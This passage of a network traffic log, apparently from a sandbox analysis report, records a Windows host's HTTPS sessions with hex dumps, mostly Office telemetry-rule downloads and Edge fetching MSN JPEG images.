2024-11-23 04:03:01 UTC	16384	IN	Data Raw: bc 2b 7c 27 d4 80 ca c0 a3 0f 8a 2e 0e fe e8 ab 1b 03 80 01 46 f3 82 47 ed 4f 97 e7 4e 63 4c 24 8c 97 13 2d f1 0d f6 65 bc 7d 29 a7 f4 d7 de 99 32 a8 27 82 f2 e7 a5 bf 4a 9b 0e 00 36 43 8b 5a b5 a4 58 9f 88 10 7c be 55 3c 39 5d ca af dd dc 9d 22 07 2b 6d 3f 39 a6 f5 e4 76 20 65 57 93 b6 44 23 7e ba 7f 32 28 8b 06 40 40 5c 51 33 01 82 b1 22 d2 7d bc 2f 14 98 a3 77 09 a8 a9 1a 54 0f 8b 81 8b 6f cf 9c 9a 55 fb 5c 79 14 36 37 52 67 54 1f 6c 83 c0 1f 84 f8 1a 97 a0 a4 df 52 83 bc b7 b7 e7 ac 6f e5 4f 1e d4 95 03 1b 28 d2 a4 15 d4 8d aa 79 df af 15 aa 92 97 90 77 39 30 3f f7 03 28 70 2d 1f 0e 9d 8a cd ad 57 3a 8c aa 35 fb a6 c3 2a dc c4 6e dc 59 7c e1 87 33 45 57 17 72 10 00 9a d4 6e 80 6a 5f ff 00 a6 f0 47 9a c5 4b 1e 3c 3f 09 5c 9d b9 bc 40 62 92 79 06 1a 84 Data Ascii: +\|'.FGONcL$-e})2'J6CZX\|U<9]"+m?9v eWD#~2(@@\Q3"}/wToU\y67RgTlRoO(yw90?(p-W:5*nY\|3EWrnj_GK<?\@by
2024-11-23 04:03:01 UTC	7952	IN	Data Raw: c1 86 57 50 1a 54 9f ba 49 03 a1 b4 8a ea bf 19 8a 3d 1c 58 d0 a9 13 65 32 bb 11 ee 1a 49 99 91 bd 0b 75 5c f8 8a 11 61 2f 0b 77 1c d9 0d 83 8b 49 56 86 e3 36 34 5c f1 93 5a d7 e8 9c 7b 09 cd 94 2b fb 4e 52 22 7e 3d 23 e8 01 3f 3a 1b 93 20 d4 34 a2 09 bd c6 a3 f5 69 a7 f3 e1 67 50 71 1f 54 09 f8 77 e7 75 3e ef cc 50 8c a1 91 86 a0 41 81 20 ef b7 2a e5 bb 12 9f 9d 50 4d ed 56 23 70 e7 f9 45 41 58 15 53 f5 f1 a5 d1 8c 75 fd f5 26 61 4f a6 54 49 8b 5f 94 1a 86 47 d5 a9 85 2a c4 b1 d3 bf f3 ab 7a 47 11 fa d3 4c 5d 9b dd 8c 93 bc af e4 2a 28 23 11 f3 11 57 64 ff 00 4f cc 2f e5 7a 44 86 9d 23 60 7e a6 94 53 54 1d 40 5f 8d ba d1 35 c6 5d bd bb b0 02 78 02 39 7f 3e 1c 29 64 10 ab e3 27 9f f0 af ea 6b a3 c2 74 e2 66 d1 2d b6 d0 88 3a f3 37 f6 a8 f3 37 aa 93 6c 1c Data Ascii: WPTI=Xe2Iu\a/wIV64\Z{+NR"~=#?: 4igPqTwu>PA PMV#pEAXSu&aOTI_GzGL]*(#WdO/zD#`~ST@_5]x9>)d'ktf-:77l
2024-11-23 04:03:01 UTC	16288	IN	Data Raw: 00 24 1e a6 89 66 c5 91 41 d2 17 4b 03 a6 76 df ac cd 0d 00 85 92 d8 41 13 6d 1c 87 ec 50 b4 68 26 86 05 0a 9b 81 69 02 e6 23 ee f3 b5 5d 95 d1 40 fe da f0 17 2c 79 9e 0c 2a b0 65 92 72 27 b8 09 3a 4e e7 8f c0 29 7e e0 9b 29 71 bc fd ee 5e 54 ab 12 4c 9a 9d a3 1e 31 6e 44 ee 40 e2 4d 16 6c ac 33 ab 7b 63 de 4f b5 76 51 ce 26 26 84 60 00 3b 7b b9 70 ea 0f e9 4d e4 70 27 98 58 1e 24 12 6a 5a 78 3a 1c be 5c 64 00 76 95 20 0d f6 f7 47 d0 1a a3 23 31 33 bc 10 0d 81 89 99 24 45 5f 86 3d 30 5a c0 85 df a4 f2 aa 87 bf 1b 31 90 43 8f 70 be c3 8f 18 a2 7c 20 39 c3 3b 58 03 1c 3c bf ad aa ec 1d cb e1 61 36 33 b8 e4 6a 04 e8 70 c7 da 60 1d 40 02 ad e6 2d f2 aa b2 63 46 d4 55 f6 33 1c 7a fc f6 a5 0a 8b b1 d4 cc d3 f7 48 9b ef 22 87 64 d2 b9 10 70 d4 5c f8 1b 7e b4 4b Data Ascii: $fAKvAmPh&i#]@,y*er':N)~)q^TL1nD@Ml3{cOvQ&&`;{pMp'X$jZx:\dv G#13$E_=0Z1Cp\| 9;X<a63jp`@-cFU3zH"dp\~K

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:03:00 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:03:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:03:00 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 731b5b9c-601e-0001-6b71-3cfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040300Z-174c587ffdfl22mzhC1TEBk40c00000002m0000000007uwn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:03:00 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49935	104.117.182.59	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:03:00 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:03:01 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 20 Nov 2024 06:30:53 GMT X-Datacenter: eastus X-ActivityId: 7aef2f00-941c-4cd9-9dab-90b9f0df1dc7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO5 X-Source-Length: 76988 Content-Length: 76988 Cache-Control: public, max-age=181613 Expires: Mon, 25 Nov 2024 06:29:53 GMT Date: Sat, 23 Nov 2024 04:03:00 GMT Connection: close
2024-11-23 04:03:01 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-23 04:03:01 UTC	16384	IN	Data Raw: c5 05 43 29 8a 72 20 8a e2 1a 32 43 62 20 26 80 63 7d 7b d8 e0 e8 db fa 65 ef 15 8d b2 95 7c b4 15 93 99 29 f2 a4 49 8c c4 49 17 09 2f 84 81 61 d6 ca d3 ab 69 8d 1c 71 43 22 1e 02 48 02 3a 81 e3 46 40 91 4a f7 bb da ec 0d 04 6b f7 57 88 e5 2c d1 94 8c 80 42 92 4c 02 60 8a 49 d2 e3 79 b9 f2 92 df 43 7b 20 da dc 52 54 b0 95 14 22 33 a8 02 52 9c df 6e 63 a0 9b 25 e5 5c f6 4d 3d fd 1e 3a 6b cb 8a 3b 0e 43 29 1e 81 16 cf a4 36 21 a9 79 54 a1 e3 57 b4 b1 9b 73 6f e5 a8 0c c8 5c a5 26 50 64 54 4c 1d 2a 34 20 e8 5a 29 20 68 66 97 69 83 8a 0b 8e cb ba 60 f2 d2 18 f4 71 27 29 07 2a 54 05 8a 98 f4 20 fa b6 24 92 4d a5 8d e6 44 71 b4 36 31 48 1d cf 16 3c a8 4f 45 3d cd d5 13 4d 38 c0 31 bc b4 d1 41 5d 75 11 a3 d9 48 d4 11 22 46 22 f0 eb c4 93 7d 3d 18 7a f1 0d 80 6c Data Ascii: C)r 2Cb &c}{e\|)II/aiqC"H:F@JkW,BL`IyC{ RT"3Rnc%\M=:k;C)6!yTWso\&PdTL4 Z) hfi`q')T $MDq61H<OE=M81A]uH"F"}=zl
2024-11-23 04:03:01 UTC	1995	IN	Data Raw: cf 2e 4c da 69 5a ce 0d 14 67 9e be fb 5c 02 22 c9 75 28 cc a8 11 6e a4 0f 53 47 63 8a eb 83 64 c2 4c a8 12 2d 83 58 c0 c1 1e 8c 39 cc 35 ab 35 f7 1c 3d a2 8d 1c 02 88 ab 60 a2 9a 83 14 23 91 d4 7e ac 8a 9b 7c 2a 18 a1 9a 30 04 83 09 98 d6 06 82 6d ba ad 28 cd 40 9a 1f 34 dd 64 6b 33 d4 43 14 03 5a e8 c2 0d b5 65 cd 96 13 31 36 02 74 9c 68 c5 18 f1 ee 6e 64 69 2d 60 9e 25 c5 04 cb 51 ab 21 12 f4 38 d0 51 26 83 e2 c7 0f a4 95 24 cd 41 07 b1 ea e4 a4 85 4c e6 b2 22 31 9f 73 83 9a 1e 20 eb cb 5f 73 78 6b 0c a1 43 8f ac 6c 95 10 10 42 89 1a 69 18 49 81 65 23 c5 88 88 89 8d 38 97 96 9f 4f 29 64 02 6c 7d 35 88 b2 66 fa ba 12 01 f5 10 fc 4f 75 06 13 03 47 21 98 27 bb 62 2a c5 04 9c c8 20 82 44 41 ed 0f a3 7b 71 5b cb 2b 51 95 2a a6 23 5e 9e e7 53 b4 57 f6 a6 48 Data Ascii: .LiZg\"u(nSGcdL-X955=`#~\|0m(@4dk3CZe16thndi-`%Q!8Q&$AL"1s _sxkClBiIe#8O)dl}5fOuG!'b DA{q[+Q*#^SWH
2024-11-23 04:03:01 UTC	16384	IN	Data Raw: 52 75 8c 4d 03 f9 9b 9f 56 9c a0 44 47 1c db 90 2d 0f a9 08 12 24 d2 45 75 e7 0f af 7f 61 1b 4b 84 28 2c 40 20 c4 4f 29 a3 5a d3 ce 4c 8d 29 db c1 e8 17 5b 7b 3a 53 2d f2 fa b5 94 04 09 7b 2b eb 09 e3 d8 f2 92 45 81 cd cb 4e 43 21 96 15 07 1d 6b ab 26 53 ab 31 12 80 21 23 59 55 6b df dd 0e da 53 8d 2c d2 4d 1b 47 76 f0 d6 53 9b 28 d7 59 7b 27 2f 57 d6 94 6b 58 b6 da b5 ca d6 b4 e6 29 33 73 5c 3e 2f b0 0e 23 56 22 9b 9d b4 a4 02 5e e2 59 72 b6 89 b3 8c 5a ca 00 8e 3d ec 99 7e 3c 43 71 a7 c1 e8 92 ed 94 18 fb 9f 52 86 de 51 13 9a d9 d3 91 d7 93 50 32 90 44 86 e5 27 2e 69 e5 6b 5b 34 06 59 ba 19 33 2a 32 92 60 57 09 be 19 90 48 04 00 2a 20 c8 07 a5 c5 a2 81 0e 5a d0 51 73 42 98 b1 9c 09 6a 52 ed 94 e7 d5 e8 e3 89 66 ca f4 35 a5 05 14 70 06 78 7b 2b d5 94 09 Data Ascii: RuMVDG-$EuaK(,@ O)ZL)[{:S-{+ENC!k&S1!#YUkS,MGvS(Y{'/WkX)3s\>/#V"^YrZ=~<CqRQP2D'.ik[4Y32`WH ZQsBjRf5px{+
2024-11-23 04:03:01 UTC	16384	IN	Data Raw: 54 50 4e 51 a1 af 34 dc c8 84 85 a6 48 13 e3 cb e0 f8 5e 53 3b 61 d7 48 d5 ce 95 5d ab ea 40 98 f5 b9 f3 9d b8 9a 14 c6 b3 30 e6 7f 2c 0d 2d b6 5d 8d 3a 93 af 47 b7 f3 f6 f6 84 7d c4 9b 18 4a f7 77 e8 3c b7 c5 d8 97 e6 ed a9 22 49 3e 8c aa fa ec a2 36 d3 cc fb 07 bd f7 f5 22 af 29 af 28 71 d9 37 a4 5f 9c bd 54 ed a7 6c 12 a8 e7 40 f9 d5 f5 63 4d b1 98 df a0 f6 97 e0 af 71 4b 33 b8 a2 78 b9 8c ee 13 41 41 c6 af 8e 5d fa e9 a7 f3 ff 00 8d c7 6b 9e bf c3 b7 77 79 4b 31 9b 36 03 ed 0c 47 6c c6 63 5a c3 1a 32 a0 4a b5 b0 5a ee e6 f9 58 80 02 53 77 c5 f1 9c b1 ab ca 75 9e 90 eb 11 31 a4 7b ba 7e 62 36 c4 50 9b 87 b5 f2 2b 70 ac d7 4b 00 d1 f3 b7 90 31 bb e2 f1 3d c9 cb ca 23 83 71 8c 47 9c 8c 20 41 3a 5d 69 7d 31 03 32 8c 13 f6 a6 e1 7e 0f 9c 42 08 52 aa 7f 0b Data Ascii: TPNQ4H^S;aH]@0,-]:G}Jw<"I>6")(q7_Tl@cMqK3xAA]kwyK16GlcZ2JZXSwu1{~b6P+pK1=#qG A:]i}12~BR
2024-11-23 04:03:01 UTC	7952	IN	Data Raw: 46 35 6b 37 36 83 73 b0 7f 0b 88 42 70 0d 69 c1 2d e0 fe 17 b2 9b 9d 42 47 7e ae d9 f1 6d 04 7e 53 d5 ca 5c ca dc 6a d1 b4 0b 9c 75 08 92 4e a3 2f 7f 83 78 17 87 a9 7b 87 bb 0d 02 f7 20 5e 3a 3b cd e6 1b 28 bd ec a1 c7 22 18 5c ae 46 2e b1 a9 21 51 36 19 15 23 c1 85 8c 5a 64 02 48 02 4e bc 68 df 2f 12 d7 9c b0 d5 1f 94 75 0d 6b 71 3d 1d 13 6c 72 75 82 09 22 ec 1b 47 2e ef 4b 9a fe 8c 21 c5 ea 61 cc 38 4f 67 73 0b bd 18 68 c0 78 b4 88 ba 3b 7c 5b 4e 0e e6 b8 30 5c a3 0c 63 f5 76 3b 3c 15 83 d9 81 bd 84 ad 84 47 37 79 b8 54 1a e6 ff 00 30 ec 5d 0f c6 ae 4e 07 ab 59 18 f7 a7 b1 ec c2 f3 e9 ec 74 37 22 d0 9c 3d 1d 2a d7 cd 1d 3d 8d 4a a3 f3 30 b9 86 23 c1 a9 50 34 3e 0f 66 2e 09 c3 d4 fb 98 69 c4 b5 80 e1 0a 38 72 0d 83 09 23 16 82 6d 2c 87 30 3a 4f 6f 89 72 Data Ascii: F5k76sBpi-BG~m~S\juN/x{ ^:;("\F.!Q6#ZdHNh/ukq=lru"G.K!a8Ogshx;\|[N0\cv;<G7yT0]NYt7"=*=J0#P4>f.i8r#m,0:Oor
2024-11-23 04:03:01 UTC	2024	IN	Data Raw: e8 2b ba b1 3a e0 2c 3c c5 2f 66 0c 0a ec b1 66 7b 36 0c 0d 2e 4b 1c 93 63 de 6b 98 16 5e 96 3a 8b 1d d5 81 25 d9 63 75 83 4b b2 c7 2f 66 60 67 65 87 3b 69 60 ee 4b 49 6a 4c 30 33 20 81 ab e5 ce c9 99 81 e4 5c d1 a6 b6 16 c0 e0 c2 bc df 5e 03 6c b8 b2 85 0d a1 c5 79 45 2a c7 9e 70 60 78 76 8c 39 9b 66 70 1a 97 16 3c b0 f6 7c 5c cc 38 96 0f 4b 9b 03 80 62 cc 1d 0a 60 43 07 50 d2 96 36 7b 9b 8a 90 1d 87 89 86 c1 4c 30 43 7c 84 37 0b 01 a9 dc 06 c9 61 80 c7 d5 d8 c6 5f 29 d6 94 6e c0 a0 4b b9 53 7b 1b 86 6f 86 17 47 66 5a c3 cc 1e 1b 72 69 2f 4b 0d dd b7 66 8d c5 18 56 ae e6 76 58 67 5a 73 79 83 c3 99 4b d3 8b 93 8b 05 20 38 ed 1e 61 9d 87 a5 ec cc 2c 3b a3 99 f1 61 cc 25 81 21 d8 c5 ae 60 f6 61 73 07 81 8b 90 d7 e6 07 33 86 0e da 8c 5f 30 62 e0 54 b0 3c 5f Data Ascii: +:,</ff{6.Kck^:%cuK/f`ge;i`KIjL03 \^lyE*p`xv9fp<\|\8Kb`CP6{L0C\|7a_)nKS{oGfZri/KfVvXgZsyK 8a,;a%!`as3_0bT<_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49934	104.117.182.59	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:03:00 UTC	634	OUT	GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:03:01 UTC	522	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA11MSkH Last-Modified: Wed, 20 Nov 2024 11:33:41 GMT X-Source-Length: 293132 X-Datacenter: northeu X-ActivityId: 36c75023-5862-459d-98a7-1b0518594608 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 293132 Cache-Control: public, max-age=199865 Expires: Mon, 25 Nov 2024 11:34:05 GMT Date: Sat, 23 Nov 2024 04:03:00 GMT Connection: close
2024-11-23 04:03:01 UTC	15862	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-23 04:03:01 UTC	16384	IN	Data Raw: 4d fc ab 26 f3 f4 a4 69 4b 80 a9 51 5a 4f 81 92 a4 15 1c 64 7d ab 6e 64 d8 52 68 23 71 f5 15 95 c1 a5 6c d6 0d c7 19 0c cb 00 29 58 04 82 35 33 6f bf c6 a4 c9 53 0d 28 d5 e7 36 f7 b3 66 24 b0 65 a0 d5 79 4e ca ac 0f f1 d4 47 cb 27 f5 fd 6a 7a 64 0a 7e 6f 0a c2 9a a7 6d e7 ad 1a 5c 2f a1 9e af 90 8e 0d 8d b6 e8 ac fb cb a0 b9 ac ea 87 5d ba fd ce bd 01 0f a7 ae 06 37 22 e1 10 a4 30 d4 93 f3 4f 21 48 80 38 fc 28 75 72 76 ef a5 6d ea 1e 9b ba 19 bc 25 c0 8f 07 8c e5 84 72 a6 d5 c0 fe 2b 1f da 40 8f 88 a5 51 48 1e 97 fd 46 12 c0 e2 2c 18 15 d4 1a 6d 1f 12 4f 44 b6 d8 01 a4 89 e7 02 3e 14 d2 aa 76 09 c6 6e be a4 b3 9e b4 3d d0 d1 69 6d 6c 6f 23 67 65 55 2a a2 57 7d ec 40 06 c6 fa 4f 08 d6 a3 c9 26 ff 00 5a 04 54 35 39 5b 79 d3 d7 fc fe 46 e6 ab a0 ea d8 23 a1 Data Ascii: M&iKQZOd}ndRh#ql)X53oS(6f$eyNG'jzd~om\/]7"0O!H8(urvm%r+@QHF,mOD>vn=imlo#geU*W}@O&ZT59[yF#
2024-11-23 04:03:01 UTC	2326	IN	Data Raw: 1d 42 72 ea 3e ae cb 15 1b 59 a2 21 51 37 96 31 36 31 f1 fe 95 49 94 2a a9 53 25 38 95 b3 73 02 f7 8f 8d 73 b6 95 52 ea 44 d3 b8 f5 06 f3 b8 f4 b3 e4 41 7b 7c b7 b4 de 20 5f f4 b9 f2 a6 f1 e6 ca ac a5 48 95 ea 55 e0 a3 fd dc c4 f0 34 06 d2 79 c6 37 1f b9 08 ce 32 53 dd 57 90 7e 07 e3 90 59 71 36 d4 05 76 c0 81 a8 13 73 79 13 27 5f 4a 79 99 0e 41 93 31 f7 42 11 20 23 00 b7 9d b0 63 a4 dc 6b 42 8a 8c a4 e9 e7 cf f4 11 5a 8d 46 2a 2f cb 56 fc b6 af 20 f4 fe 3a 04 4c 98 71 e3 21 0a 64 b8 b3 02 a7 a7 9f a8 a6 bb ef 64 c3 63 d8 24 4c 20 8d 49 b7 97 9d 69 d1 e4 5f f5 f5 e6 db c7 52 68 e3 23 a6 0b b4 c0 3b 8c 8c 90 5b e6 8d b0 09 81 3a 9d 05 a8 28 71 a0 05 99 8d e0 85 24 12 0e b7 fa 89 f8 53 d6 99 2a e4 77 37 a9 f0 48 c5 6a 26 a4 9e 7e 45 69 84 88 96 53 d4 66 d3 Data Ascii: Br>Y!Q7161IS%8ssRDA{\| _HU4y72SW~Yq6vsy'_JyA1B #ckBZF/V :Lq!ddc$L Ii_Rh#;[:(q$S*w7Hj&~EiSf
2024-11-23 04:03:01 UTC	16384	IN	Data Raw: f5 70 83 23 89 b1 bd 4f ee 77 b6 41 db bb 97 52 61 a0 41 9d 63 97 a4 7e b4 1e 58 eb 8b a2 a7 82 71 82 5e 05 68 0e a7 6e 46 76 00 dc 02 4d f5 1c 08 b4 53 5d b3 10 d9 31 62 3b 91 34 7f 95 c1 1c 35 21 88 1c 44 69 44 97 e4 2b d9 bf e8 77 2c a3 be e6 4c f8 f7 3e 22 84 a3 29 50 26 e0 6a a4 9f eb 4c b3 3a c3 cf b8 a4 30 26 c4 18 d0 89 d4 6b 48 92 4f 9d ce 5d 38 2e 45 67 39 db ad d2 47 49 02 48 f8 19 a6 56 06 52 09 80 ac 61 74 b1 1b b8 1e 24 fa 51 9e e2 ec 2b 3b 20 bb b9 8c 56 81 be 24 c5 86 86 fe 35 4f b9 0b b2 4f 23 62 7c 3e f1 4d 11 22 71 c4 95 54 65 75 de 72 0b 41 8e a5 dc 3c 62 60 fa 57 bd b2 ae d7 1b 60 ed b4 9f a5 fc 68 a4 60 db a1 99 2b b8 60 32 1d 84 15 1b 63 c6 39 f0 99 e3 44 7c 4c c8 84 0d 37 6e 1c 24 1a a7 11 64 bc 33 eb 04 9f f7 5e 2b e5 d2 6c 7a 87 Data Ascii: p#OwARaAc~Xq^hnFvMS]1b;45!DiD+w,L>")P&jL:0&kHO]8.Eg9GIHVRat$Q+; V$5OO#b\|>M"qTeurA<b`W`h`+`2c9D\|L7n$d3^+lz
2024-11-23 04:03:01 UTC	16384	IN	Data Raw: c6 dc e8 d0 e4 58 ac f3 83 a1 ca cf b1 d1 8a 6d 21 fe e6 19 77 5f 94 1f 5d 6b 19 11 54 18 d2 07 1f a5 6c 07 18 d1 a9 93 4a 44 65 10 cc 42 92 01 03 49 b9 d3 9d 60 b1 56 30 62 87 dd bc 51 7b 8a ea ef d8 cf 3d 86 91 b5 01 46 ed db 49 3f 6f 10 60 50 36 31 2d 69 22 f7 92 7e f1 40 d4 ee b9 5b 91 b5 4b 26 7b f7 f0 56 38 73 29 27 71 7f 52 4c 7f 4a 11 c6 c0 c9 f2 1a 58 e9 5c be ad 97 e6 27 0b 81 16 7f 82 cb 1b 0c 6e 05 6f e5 11 7f 3f ca 95 d9 b1 77 0b 5f 4d 47 c0 7e b6 a1 b8 e5 d9 a1 4b 67 93 ab 92 ab 7c e4 61 61 55 98 89 20 e8 67 4a f3 b7 0a db c3 74 90 35 b4 7c 6a c5 e0 46 aa 9a cf ea 32 fa 97 22 e9 ac a3 c7 ce 5a 36 af af 0f f5 a2 fb 9b 74 44 32 23 79 04 7d 01 8a 69 fd 58 e8 01 aa c5 bf 41 2a 9f 23 71 81 36 c9 b7 42 75 d6 37 44 f0 e1 4c e5 54 22 d3 f2 8d 7d 2e Data Ascii: Xm!w_]kTlJDeBI`V0bQ{=FI?o`P61-i"~@[K&{V8s)'qRLJX\'no?w_MG~Kg\|aaU gJt5\|jF2"Z6tD2#y}iXA*#q6Bu7DLT"}.
2024-11-23 04:03:01 UTC	7952	IN	Data Raw: 1a be 53 33 ac 78 28 66 cb ef 38 44 0b 22 43 38 86 58 1f db 6e a3 16 be a6 97 4c a0 b4 13 ec 82 02 9d ab 68 1e 15 9a 31 6b ea 93 74 eb 4c 78 77 e7 dc d0 d5 66 93 7b 1b 39 6b f4 00 bb 99 c8 4e f8 28 44 3b f2 64 72 22 5c db 6f 0d a0 68 3c 2d 1c ab 19 65 f3 e2 0b d6 16 22 d1 31 7f 31 e2 69 3b 2d b9 3c 25 15 b2 e6 fc 8c a4 a3 09 49 fd 3f 95 9a af 53 cb 26 ac 59 40 e2 ed 9d 71 e2 76 23 6a 6b d2 00 31 a0 e3 7f a9 e3 51 33 b6 47 72 5f 59 d3 82 f8 01 c2 ae b7 76 ad fb 05 8c d4 95 dd a0 ff 00 4c 9f 3b 6f c1 89 cd c9 db 19 ee 7b 5f f1 d5 08 70 db 80 24 7f 6c f0 27 43 6b da a5 99 9a e8 cb 50 44 6a 94 34 a5 93 36 ab 3a 4c 5d d8 4e dc a9 c8 ac 49 58 94 dd 0a 0b 12 a6 63 53 7e 33 c6 95 1b 19 31 63 29 a8 d5 57 a9 8f 85 c4 f2 9f 85 64 94 5b ba 8b f8 d7 ba 7e 84 b9 dc 9f Data Ascii: S3x(f8D"C8XnLh1ktLxwf{9kN(D;dr"\oh<-e"11i;-<%I?S&Y@qv#jk1Q3Gr_YvL;o{_p$l'CkPDj46:L]NIXcS~31c)Wd[~
